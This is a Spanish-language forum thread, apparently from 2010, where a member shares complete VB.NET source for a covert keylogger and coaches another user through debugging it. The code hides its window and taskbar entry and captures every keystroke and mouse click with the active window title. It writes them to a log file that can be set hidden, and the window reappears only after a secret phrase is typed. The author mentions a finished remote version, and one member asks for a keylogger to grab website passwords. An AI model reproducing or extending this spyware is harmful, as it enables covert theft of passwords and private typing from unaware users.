Buenas, despues de meditar las peticiones del codigo, he decidido compartirlo. Por aqello de "dar a internet por aquello que se ha recibido".
Os dejo el link del codigo: http://darkxeldon.blogspot.com/2010/02/try.html (http://darkxeldon.blogspot.com/2010/02/try.html)
Sio no entendeis cualquier cosa, no dudeis en preguntarme ;)
saludos!
Hola, para comenzar tengo una duda. La cosa es que no se como se hace para que estado el programa "en segundo plano" (por decirlo así) es capaz de capturar las teclas. Una vez intente hacer una aplicación que estando en Hide (Me.Hide) al pulsar unas teclas se volviese a mostrar (Me.Show) pero no lo conseguí. ¿Cómo se hace éso?
Gracias.
Para que el programa capture las teclas en segundo plano, tienes que utilizar librerias de windows. La libreria que utilizo en mi codigo, captura todos los clicks del raton / pulsaciones del teclado cuando se llama a una funcion. Simplemente se llama a esta funcion en un timer con interval 1, y se comprueba si se a pulsado algo.
De esta forma lo puedes ocultar con Me.Hide(), Me.Opacity=0... y el programa estaria oculto hasta que tu quieras(metiendo una condicional en el timer para recoger la tecla, o algo por el estilo)
La libreria que utilizo es GetAsyncKeyState.
Dejo el codigo por aqui tambien:
Elementos del form:
-btnInfo
-btnExit
-btnSelectRoute
-btnDeleteLog
-btnStart
-btnStop
cbHide
tbRoute
tbCheck (con set visible a false, para comprobar cuando si teclea la cadena de texto que yo quiero, en este caso "show xeldon")
Timer1 -> With interval 1, para capturar las keys
Timer2 -> With interval 30000 para actualizar el log.
'Source code by Xeldon (XLDN) visit www.darkxeldon.blogspot.com for more source codes
Imports System.Web
Imports System.IO
Imports System.Net.Mail
Imports System.Environment
Imports System.Windows.Forms.Keys
Public Class Form1
'Handle od the open windows
_
Private Shared Function GetForegroundWindow() As System.IntPtr
End Function
'Send string with the window name to the handle.
_
Private Shared Function GetWindowText( _
ByVal hWnd As System.IntPtr, _
ByVal lpString As System.Text.StringBuilder, _
ByVal cch As Integer) As Integer
End Function
Dim inUse As Boolean = False
Dim result As Integer
Dim timeHour As String
Dim openProgram As String = "Default!!!"
Dim writer As StreamWriter
'declaro la funcion como as int16 para qe rule on w7 x64
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Int16 'integer
Private Sub btnExit_Click(ByVal sender As System.Object,_
ByVal e As System.EventArgs) Handles btnExit.Click
End
End Sub
Private Sub Form1_Load(ByVal sender As System.Object,_
ByVal e As System.EventArgs) Handles MyBase.Load
btnStop.Visible = False
dlg.FileName = "Conf32"
dlg.Filter = "txt files (*.txt)|*.txt|All files (*.*)|*.*"
dlg.InitialDirectory = "C:\"
tbRoute.Text = dlg.FileName
End Sub
Private Sub Timer1_Tick(_
ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Dim title As New System.Text.StringBuilder(New String(" "c, 256))
Dim ret As Integer
Dim WindowName As String
Dim hWnd As IntPtr = GetForegroundWindow()
For cont = 1 To 255
result = 0
result = GetAsyncKeyState(cont) 'gets the key state
If result = -32767 Then 'if a known key is pressed
inUse = True
If hWnd.Equals(IntPtr.Zero) Then Return
ret = GetWindowText(hWnd, title, title.Length)
If ret = 0 Then Return
WindowName = title.ToString.Substring(0, ret)
If WindowName <> Nothing AndAlso WindowName.Length > 0 Then
If WindowName.Contains(openProgram) = False Then
openProgram = WindowName
writer.Write(NewLine & "===== " & WindowName & _
" =====" & NewLine & NewLine)
End If
End If
If (TranslateKey(cont) <> "") Then
writer.Write(TranslateKey(cont))
tbCheck.AppendText(TranslateKey(cont).ToUpper)
If tbCheck.Text.Contains("SHOW XELDON") Then
tbCheck.Text = ""
Me.Show()
Me.ShowInTaskbar = True
End If
End If
End If
Next cont
End Sub
Private Sub btnStart_Click(ByVal sender As System.Object,_
ByVal e As System.EventArgs) Handles btnStart.Click
timeHour = DateTime.Now.ToString()
Timer1.Enabled = True
Timer2.Enabled = True
Me.Hide()
Try
Dim route As String = dlg.FileName
writer = File.AppendText(route)
If cbHide.Checked Then
SetAttr(dlg.FileName, vbHidden)
Else
SetAttr(dlg.FileName, FileAttribute.Normal)
End If
writer.Write(NewLine & NewLine & "CONNECTION TIME: " & _
timeHour & NewLine & NewLine)
Me.ShowInTaskbar = False
Me.Hide()
Catch ex As Exception
End Try
inUse = False
btnStart.Visible = False
btnStop.Visible = True
End Sub
Private Function TranslateKey(ByVal KeyCode As Long) As String
Dim LngShift As Long
'Funcion optimizada para su uso en teclados españoles.
LngShift = GetAsyncKeyState(ShiftKey)
If KeyCode > 64 And KeyCode < 91 Then
TranslateKey = IIf(LngShift <> 0, Chr(KeyCode), Chr(KeyCode + 32))
ElseIf KeyCode >= 58 And KeyCode <= 90 Then
TranslateKey = If(LngShift <> 0, Chr(KeyCode), UCase(Chr(KeyCode)))
ElseIf KeyCode >= 96 And KeyCode <= 105 Then
TranslateKey = Chr(KeyCode - 48)
ElseIf KeyCode >= 112 And KeyCode <= 123 Then
TranslateKey = "{F" & KeyCode - 111 & "}"
Else
If KeyCode = 1 Then TranslateKey = ""
If KeyCode = 2 Then TranslateKey = ""
If KeyCode = 4 Then TranslateKey = ""
If KeyCode = 160 Then TranslateKey = ""
If KeyCode = 161 Then TranslateKey = "{SHIFT DER.}"
If KeyCode = 38 Then TranslateKey = "{FLECHA ARRIBA}"
If KeyCode = 40 Then TranslateKey = "{FLECHA ABAJO}"
If KeyCode = 37 Then TranslateKey = "{FLECHA IZQ.}"
If KeyCode = 39 Then TranslateKey = "{FLECHA DER.}"
If KeyCode = 32 Then TranslateKey = " "
If KeyCode = 27 Then TranslateKey = "{ESC}"
If KeyCode = 46 Then TranslateKey = "{DEL}"
If KeyCode = 36 Then TranslateKey = "{HOME}"
If KeyCode = 35 Then TranslateKey = "{END}"
If KeyCode = 33 Then TranslateKey = "{PAGE UP}"
If KeyCode = 34 Then TranslateKey = "{PAGE DOWN}"
If KeyCode = 45 Then TranslateKey = "{PASTE}"
If KeyCode = 144 Then TranslateKey = "{NUM}"
If KeyCode = 111 Then TranslateKey = "{NUMPAD / }"
If KeyCode = 106 Then TranslateKey = "{NUMPAD * }"
If KeyCode = 109 Then TranslateKey = "{NUMPAD - }"
If KeyCode = 107 Then TranslateKey = "{NUMPAD + }"
If KeyCode = 13 Then TranslateKey = "{ENTER}"
If KeyCode = 8 Then TranslateKey = "{BACK}"
If KeyCode = 221 Then TranslateKey = "{ACCENTO}"
If KeyCode = 9 Then TranslateKey = "{TAB}"
If KeyCode = 20 Then TranslateKey = "{BLOQ. MAYUS}"
If KeyCode = 162 Then TranslateKey = "{CNTRL LEFT}"
If KeyCode = 163 Then TranslateKey = "{CNTRL DER.}"
If KeyCode = 91 Then TranslateKey = "{WINDOWS}"
If KeyCode = 164 Then TranslateKey = "{ALT}"
If KeyCode = 165 Then TranslateKey = "{ALTGR}"
If KeyCode = 93 Then TranslateKey = "{MENU CONTEXTUAL}"
If KeyCode = 188 Then TranslateKey = IIf(LngShift <> 0, ";", ",")
If KeyCode = 190 Then TranslateKey = IIf(LngShift <> 0, ":", ".")
If KeyCode = 189 Then TranslateKey = IIf(LngShift <> 0, "_", "-")
If KeyCode = 187 Then TranslateKey = IIf(LngShift <> 0, "*", "+")
If KeyCode = 219 Then TranslateKey = IIf(LngShift <> 0, "?", "'")
If KeyCode = 220 Then TranslateKey = IIf(LngShift <> 0, "º", "ª")
If KeyCode = 48 Then TranslateKey = IIf(LngShift <> 0, "=", "0")
If KeyCode = 49 Then TranslateKey = IIf(LngShift <> 0, "!", "1")
If KeyCode = 50 Then TranslateKey = IIf(LngShift <> 0, """", "2")
If KeyCode = 51 Then TranslateKey = IIf(LngShift <> 0, "·", "3")
If KeyCode = 52 Then TranslateKey = IIf(LngShift <> 0, "$", "4")
If KeyCode = 53 Then TranslateKey = IIf(LngShift <> 0, "%", "5")
If KeyCode = 54 Then TranslateKey = IIf(LngShift <> 0, "&", "6")
If KeyCode = 55 Then TranslateKey = IIf(LngShift <> 0, "/", "7")
If KeyCode = 56 Then TranslateKey = IIf(LngShift <> 0, "(", "8")
If KeyCode = 57 Then TranslateKey = IIf(LngShift <> 0, ")", "9")
If KeyCode = 145 Then TranslateKey = "{ROLL}"
If KeyCode = 44 Then TranslateKey = "{PRINT}"
If KeyCode = 19 Then TranslateKey = "{PAUSE}"
If KeyCode = 16 Then TranslateKey = "{SHIFT}"
End If
End Function
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
If inUse = True Then
timeHour = DateTime.Now.ToString()
Try
writer.Flush()
writer.Close()
Catch ex As Exception
End Try
Try
Dim route As String = dlg.FileName
writer = File.AppendText(route)
If cbHide.Checked = True Then
SetAttr(dlg.FileName, vbHidden)
Else
SetAttr(dlg.FileName, FileAttribute.Normal)
End If
writer.Write(NewLine & NewLine & "::::::::::::::::::::::::::::::::::::::::::::::::" & _
timeHour & "::::::::::::::::::::::::::::::::::::::::::::::::" & NewLine & NewLine)
Catch ex As Exception
End Try
End If
inUse = False
End Sub
Private Sub Form1_FormClosing(ByVal sender As System.Object, _
ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles MyBase.FormClosing
End
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, _
ByVal e As System.EventArgs) Handles btnSelectRoute.Click
dlg.ShowDialog()
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
MsgBox(dlg.FileName)
End Sub
Private Sub rut_TextChanged(ByVal sender As System.Object, _
ByVal e As System.EventArgs) Handles tbRoute.TextChanged
tbRoute.Text = dlg.FileName
End Sub
Private Sub dlg_FileOk(ByVal sender As System.Object, _
ByVal e As System.ComponentModel.CancelEventArgs) Handles dlg.FileOk
tbRoute.Text = dlg.FileName
End Sub
Private Sub Button2_Click_1(ByVal sender As System.Object, _
ByVal e As System.EventArgs) Handles btnInfo.Click
Form2.Show()
End Sub
Private Sub Button3_Click(ByVal sender As System.Object, _
ByVal e As System.EventArgs) Handles btnDeleteLog.Click
Try
writer.Close()
btnStop.Visible = False
btnStart.Visible = True
File.Delete(dlg.FileName)
Catch ex As Exception
MsgBox("Delete error: " & ex.Message)
End Try
End Sub
Private Sub st_Click(ByVal sender As System.Object, _
ByVal e As System.EventArgs) Handles btnStop.Click
Timer1.Enabled = False
Timer2.Enabled = False
writer.Write(NewLine & NewLine & "DISCONNECTION TIME: " & timeHour & _
NewLine & NewLine)
writer.Close()
btnStop.Visible = False
btnStart.Visible = True
End Sub
End Class
Ok, vale te entiendo. Estoy intentando capturar el click del raton fuera del formulario y no lo consigo, utilizo este code:
Private Sub CapturaClick()
Dim x As Integer = Cursor.Position.X
Dim y As Integer = Cursor.Position.Y
Label1.Text = _
"Usando Cursor.Position: " & vbCrLf & _
"x= " & x & ", Y = " & y
Dim p As POINT_API
GetCursorPos(p)
Label2.Text = _
"Usando GetCursorPos: " & vbCrLf & _
"x= " & p.X & ", Y = " & p.Y
End Sub
Private Sub Form1_MouseClick(ByVal sender As Object, ByVal e As MouseEventArgs) Handles MyBase.MouseClick
CapturaClick()
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Timer1.Enabled = True
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
' No se que debe ir aquí
End Sub
Private Sub Timer1_Tick(_
ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For cont = 1 To 255
result = 0
result = GetAsyncKeyState(cont) 'gets the key state
If result = -32767 Then 'if a known key is pressed
'Aqui entra si se a pulsado una tecla, o si se ha hecho click
************************************************
End If
Next cont
End Sub
En la linea ***************************** para obtener que tecla/click a ocurrido haces un Chr(cont) para que te devuelva el valor. Creo que eran los valores 1 2 3 los del raton. (1-click izquierdo, 2-derecho,3-central) prueba a ver
No olvides declarar la libreria GetAsyncKeyState al principio del proyecto
Ok, gracias ya di un avance, al final la pulsaciones del raton son:
If cont = 1 Then Label4.Text = "{CLIC DERECHO}"
If cont = 2 Then Label4.Text = "{CLIC IZQUIERDO}"
If cont = 4 Then Label4.Text = "{CLIC CENTRO}"
Los caracteres normales los coge bien con Chr(), puse la función translatekey, a la que le paso el numero cont y dentro de ella, calculo que tecla fue pulsada.(Caracteres especiales, mayusculas...etc)
Saludos!
Hola, otra duda que me surgió fue, para capturar la ventana activa donde se hace clic, tengo el siguiente código
Private Shared Function GetForegroundWindow() As System.IntPtr
End Function
'Send string with the window name to the handle.
Private Shared Function GetWindowText( _
ByVal hWnd As System.IntPtr, _
ByVal lpString As System.Text.StringBuilder, _
ByVal cch As Integer) As Integer
End Function
----------------------
Private Sub Ventana(ByVal hWnd As IntPtr, ByVal title As System.Text.StringBuilder, ByVal WindowName As String, ByVal ret As Integer)
inUse = True
If hWnd.Equals(IntPtr.Zero) Then Return
ret = GetWindowText(hWnd, title, title.Length)
If ret = 0 Then Return
WindowName = title.ToString.Substring(0, ret)
If WindowName <> Nothing AndAlso WindowName.Length > 0 Then
If WindowName.Contains(openProgram) = False Then
openProgram = WindowName
MsgBox(WindowName)
End If
End If
End Sub
----------------------
...
If result = -32767 Then 'if a known key is pressed
Ventana(hWnd, title, WindowName, ret)
...
Falta alguna variable por declarar pero que en mí código si están. No se pero por ejemplo en If hWnd.Equals(IntPtr.Zero) Then Return dice que son iguales y sale cuando hago clic, no entiendo por qué, debo modificar algo?
claro!! mira, cuando haces esto:
if result = -32767 Then 'if a known key is pressed
Ventana(hWnd, title, WindowName, ret)
El programa entra en ese if cuando se pulsa una tecla, o se hace click. Yo lo tengo asi para que me compruebe cuando tecleo, si tecleo en el mismo programa que la pulsacion anterior o no, para pasar el titulo de la ventana, solo cuando escribo en una aplicacion distinta.
Si todo el codigo anterior le llamas directamente
Private Shared Function GetForegroundWindow() As System.IntPtr
End Function
'Send string with the window name to the handle.
Private Shared Function GetWindowText( _
ByVal hWnd As System.IntPtr, _
ByVal lpString As System.Text.StringBuilder, _
ByVal cch As Integer) As Integer
End Function
----------------------
Dim title As New System.Text.StringBuilder(New String(" "c, 256))
Dim ret As Integer
Dim WindowName As String
Dim hWnd As IntPtr = GetForegroundWindow()
If hWnd.Equals(IntPtr.Zero) Then Return
ret = GetWindowText(hWnd, title, title.Length)
If ret = 0 Then Return
WindowName = title.ToString.Substring(0, ret)
If WindowName <> Nothing AndAlso WindowName.Length > 0 Then
If WindowName.Contains(openProgram) = False Then
MsgBox(WindowName)
End If
End If
End Sub
Le pones esto en un button, deberia de funcionar y darte el titulo de la ventana(que sera el titulo de tu programa)
Yo lo que hago es comprobarlo en las pulsaciones, para organizarme en el log en que programa se teclea.
Si aun asi no te funciona dime, y me hago un code de ejemplo en un moment ;)
No me funciona ya que si lo pongo dentro, sigue entrando dentro del return y sale, y ahí ya no me captura la pulsación de teclas/ratón!
Otra cosa que tengo duda es, cuando pones esto LngShift = GetAsyncKeyState(ShiftKey) donde está declara la variable ShiftKey porque me aparece como que no está declarada!
Esta declarado 3 lineas arriba de lo que me has copiado xD
A ver... ejemplo sencillo pa coger el titulo de la ventana:
Imports System.Environment
Public Class Form1
<System.Runtime.InteropServices.DllImport("user32.dll")> _
Private Shared Function GetForegroundWindow() As System.IntPtr
End Function
<System.Runtime.InteropServices.DllImport("user32.dll")> _
Private Shared Function GetWindowText( _
ByVal hWnd As System.IntPtr, _
ByVal lpString As System.Text.StringBuilder, _
ByVal cch As Integer) As Integer
End Function
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Dim titulo As New System.Text.StringBuilder(New String(" "c, 256))
Dim ret As Integer
Dim nombreVentana As String
Dim hWnd As IntPtr = GetForegroundWindow()
If hWnd.Equals(IntPtr.Zero) Then Return
ret = GetWindowText(hWnd, titulo, titulo.Length)
If ret = 0 Then Return
nombreVentana = titulo.ToString.Substring(0, ret)
If nombreVentana <> Nothing AndAlso nombreVentana.Length > 0 Then
tex.AppendText(nombreVentana)
End If
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Timer1.Stop()
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Start()
End Sub
End Class
Form tiene un textbox (tex), y 2 buttons, uno de start y otro de stop, en los que activas/desactivas el timer de interval un segundo.
Te tiene que funcionar por narices!! Checkeado ;)
Ok, lo acabo de probar y si funciona, ahora lo que debo hacer es llamar a ese code cada vez que pulse una tecla/clic. Gracias! Mañana lo intento y te cuento!
Hola buenos días!
Ya lo he probado y me funciona perfectamente, pero como te decía con la declaración de ShiftKey, solo está en la línea LngShift = GetAsyncKeyState(ShiftKey) ¿Qué valor debe tener?
ahh!!! ok , no te entendi, shiftkey es una variable del sistema, seguramente no te la reconozca porque no tienes este import:
Imports System.Windows.Forms.Keys
Ahora?
Ok, ya funciona, muchas gracias!
Respecto a esta parte del código
If KeyCode > 64 And KeyCode < translatekey =" IIf(LngShift"> 0, Chr(KeyCode),_
Chr(KeyCode + 32))
ElseIf KeyCode >= 58 And KeyCode <= 90 Then _
TranslateKey = If(LngShift <> 0, Chr(KeyCode), UCase(Chr(KeyCode)))
ElseIf KeyCode >= 96 And KeyCode <= 105 Then _
TranslateKey = Chr(KeyCode - 48) ElseIf KeyCode >= 112 And KeyCode <= 123 Then _
TranslateKey = "{F" & KeyCode - 111 & "}" Else
En especial a esto:
If KeyCode > 64 And KeyCode < translatekey =" IIf(LngShift"> 0, Chr(KeyCode),_
Chr(KeyCode + 32))
No me funciona, no se veo eso un poco raro al asignarle a translatekey " IIf(Lng...."
Otra cosa, cuando haces por ejemplo IIf(LngShift <> 0, ";", ",") es para saber si tenemos pulsada la tecla Shift no? es que lo pruebo y me salen otras cosas, tal vez tenga que ver con la configuracion de teclado, pero que yo sepa tengo la española jeje! Si por ejemplo pulso "." me sale "3/4". Voy a mirar la configuración de teclado!
buff con la funcion translatekey me pelee mucho... Lo de 32 es porque si tienes pulsado sifht, te cambia el caracter ascii de el caracter en minuscula, por el de mayuscula, 32 es la diferencia. Buscate una tabla de juego de caracteres ANSI para tenerlo mas claro.
La funcion la coji de un codigo que tenia por ahi suelto y la modifique a mi gusto, La verdad que ami me funciona bien xD
Lo que hace bvasicamente es comprobar en cada codigo ansi si esta pulsad el shift, para cambiar el caracter que debe devovler.
esto es keylogger web? yo estoy buscando un keylogger para una web ya que las pass no se me quedan en la base de datos
o.O Keylogger web? eso existe? xD es un keylogger local; ya termine el remoto, peero estoy intentando que el cliente me cree el servidor para poder configurar el puerto de escucha.
Si alguien sabe como se puede compilar codigo desde codigo... me haria un gran favor =P
Cita de: xeldon en 4 Marzo 2010, 15:20 PM
Si alguien sabe como se puede compilar codigo desde codigo... me haria un gran favor =P
No entendí a que te refieres con eso?
Mira estoy intentando mejorar un poco la captura de teclas y estoy probando con esto
Private Sub Form1_KeyDown(ByVal sender As System.Object, ByVal e As System.Windows.Forms.KeyEventArgs) Handles MyBase.KeyDown
Select Case e.KeyValue
Case Keys.A
MsgBox("A")
Case Keys.B
MsgBox("B")
Case Keys.A And Keys.Alt
MsgBox("Alt+A")
End Select
End Sub
Pero el problema es para usarlo en el Timer1_tick ya que no se como se puede capturar la
e de
System.Windows.Forms.KeyEventArgs. Se te ocurre algo, es que en tu código me da error esta parte
If KeyCode > 64 And KeyCode < translatekey =" IIf(LngShift"> 0, Chr(KeyCode),_
Chr(KeyCode + 32))
no sé si tal vez te equivocases al copiar o algo no sé!
Vale, cosa muy extraña, el copy paste se comio unos caracteres xD!
vuelvo a dejar la funcion:
Private Function TranslateKey(ByVal KeyCode As Long) As String
Dim LngShift As Long
'Funcion optimizada para su uso en teclados españoles.
LngShift = GetAsyncKeyState(ShiftKey)
If KeyCode > 64 And KeyCode < 91 Then
TranslateKey = IIf(LngShift <> 0, Chr(KeyCode), Chr(KeyCode + 32))
ElseIf KeyCode >= 58 And KeyCode <= 90 Then
TranslateKey = If(LngShift <> 0, Chr(KeyCode), UCase(Chr(KeyCode)))
ElseIf KeyCode >= 96 And KeyCode <= 105 Then
TranslateKey = Chr(KeyCode - 48)
ElseIf KeyCode >= 112 And KeyCode <= 123 Then
TranslateKey = "{F" & KeyCode - 111 & "}"
Else
If KeyCode = 1 Then TranslateKey = ""
If KeyCode = 2 Then TranslateKey = ""
If KeyCode = 4 Then TranslateKey = ""
If KeyCode = 160 Then TranslateKey = ""
If KeyCode = 161 Then TranslateKey = "{SHIFT DER.}"
If KeyCode = 38 Then TranslateKey = "{FLECHA ARRIBA}"
If KeyCode = 40 Then TranslateKey = "{FLECHA ABAJO}"
If KeyCode = 37 Then TranslateKey = "{FLECHA IZQ.}"
If KeyCode = 39 Then TranslateKey = "{FLECHA DER.}"
If KeyCode = 32 Then TranslateKey = " "
If KeyCode = 27 Then TranslateKey = "{ESC}"
If KeyCode = 46 Then TranslateKey = "{DEL}"
If KeyCode = 36 Then TranslateKey = "{HOME}"
If KeyCode = 35 Then TranslateKey = "{END}"
If KeyCode = 33 Then TranslateKey = "{PAGE UP}"
If KeyCode = 34 Then TranslateKey = "{PAGE DOWN}"
If KeyCode = 45 Then TranslateKey = "{PASTE}"
If KeyCode = 144 Then TranslateKey = "{NUM}"
If KeyCode = 111 Then TranslateKey = "{NUMPAD / }"
If KeyCode = 106 Then TranslateKey = "{NUMPAD * }"
If KeyCode = 109 Then TranslateKey = "{NUMPAD - }"
If KeyCode = 107 Then TranslateKey = "{NUMPAD + }"
If KeyCode = 13 Then TranslateKey = "{ENTER}"
If KeyCode = 8 Then TranslateKey = "{BACK}"
If KeyCode = 221 Then TranslateKey = "{ACCENTO}"
If KeyCode = 9 Then TranslateKey = "{TAB}"
If KeyCode = 20 Then TranslateKey = "{BLOQ. MAYUS}"
If KeyCode = 162 Then TranslateKey = "{CNTRL LEFT}"
If KeyCode = 163 Then TranslateKey = "{CNTRL DER.}"
If KeyCode = 91 Then TranslateKey = "{WINDOWS}"
If KeyCode = 164 Then TranslateKey = "{ALT}"
If KeyCode = 165 Then TranslateKey = "{ALTGR}"
If KeyCode = 93 Then TranslateKey = "{MENU CONTEXTUAL}"
If KeyCode = 188 Then TranslateKey = IIf(LngShift <> 0, ";", ",")
If KeyCode = 190 Then TranslateKey = IIf(LngShift <> 0, ":", ".")
If KeyCode = 189 Then TranslateKey = IIf(LngShift <> 0, "_", "-")
If KeyCode = 187 Then TranslateKey = IIf(LngShift <> 0, "*", "+")
If KeyCode = 219 Then TranslateKey = IIf(LngShift <> 0, "?", "'")
If KeyCode = 220 Then TranslateKey = IIf(LngShift <> 0, "º", "ª")
If KeyCode = 48 Then TranslateKey = IIf(LngShift <> 0, "=", "0")
If KeyCode = 49 Then TranslateKey = IIf(LngShift <> 0, "!", "1")
If KeyCode = 50 Then TranslateKey = IIf(LngShift <> 0, """", "2")
If KeyCode = 51 Then TranslateKey = IIf(LngShift <> 0, "·", "3")
If KeyCode = 52 Then TranslateKey = IIf(LngShift <> 0, "$", "4")
If KeyCode = 53 Then TranslateKey = IIf(LngShift <> 0, "%", "5")
If KeyCode = 54 Then TranslateKey = IIf(LngShift <> 0, "&", "6")
If KeyCode = 55 Then TranslateKey = IIf(LngShift <> 0, "/", "7")
If KeyCode = 56 Then TranslateKey = IIf(LngShift <> 0, "(", "8")
If KeyCode = 57 Then TranslateKey = IIf(LngShift <> 0, ")", "9")
If KeyCode = 145 Then TranslateKey = "{ROLL}"
If KeyCode = 44 Then TranslateKey = "{PRINT}"
If KeyCode = 19 Then TranslateKey = "{PAUSE}"
If KeyCode = 16 Then TranslateKey = "{SHIFT}"
End If
End Function
Con lo otro me referia a(explicandolo de forma rapida) dar a un boton en un formulario que me compile el codigo que yo meta en un textbox (Un simple hello world). Esto lo he conseguido, pero lo que necesito es poder compilar un programa con formularios; Crear un formulario desde codigo...
Ok, gracias por la ayuda me está sirviendo de mucho!
Sobre lo que preguntas la verdad no tengo ni idea!